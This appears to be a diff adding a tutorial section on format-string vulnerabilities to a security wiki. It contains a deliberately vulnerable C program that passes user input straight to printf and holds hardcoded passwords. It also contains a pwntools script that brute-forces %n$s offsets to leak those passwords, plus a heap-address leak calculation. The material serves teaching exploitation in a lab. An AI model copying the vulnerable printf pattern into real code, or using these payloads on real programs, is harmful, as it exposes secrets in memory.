+## Code
+
+```c
+#include <stdio.h>
+#include <string.h>
+
+char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
+
+int main() {
+    char stack_password[20] = "secretStackPass"; // Password in stack
+    char input1[20], input2[20];
+
+    printf("Enter first password: ");
+    scanf("%19s", input1);
+
+    printf("Enter second password: ");
+    scanf("%19s", input2);
+
+    // Vulnerable printf
+    printf(input1);
+    printf("\n");
+
+    // Check both passwords
+    if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
+        printf("Access Granted.\n");
+    } else {
+        printf("Access Denied.\n");
+    }
+
+    return 0;
+}
+```
+
+Compile it with:
+
+```bash
+clang -o fs-read fs-read.c -Wno-format-security
+```
+
+### Read from stack
+
+The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
+
+```python
+from pwn import *
+
+for i in range(100):
+    print(f"Try: {i}")
+    payload = f"%{i}$s\na".encode()
+    p = process("./fs-read")
+    p.sendline(payload)
+    output = p.clean()
+    print(output)
+    p.close()
+```
+
+In the image it's possible to see that we can leak the password from the stack in the `10th` position:

+
+Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%5$p`:

+
+<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>
+
+The difference between the leaked address and the address of the password is:
+
+```
+> print 0xaaaaaaac12b2 - 0xaaaaaaac0048
+$1 = 0x126a
+```
